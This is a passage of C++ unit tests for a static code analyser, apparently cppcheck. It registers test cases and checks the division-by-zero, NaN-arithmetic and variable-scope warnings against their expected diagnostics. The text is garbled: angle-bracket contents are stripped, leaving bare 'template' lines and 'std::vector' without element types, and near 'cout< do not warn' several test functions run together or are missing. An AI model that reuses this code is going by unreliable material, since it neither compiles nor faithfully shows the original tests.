TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB 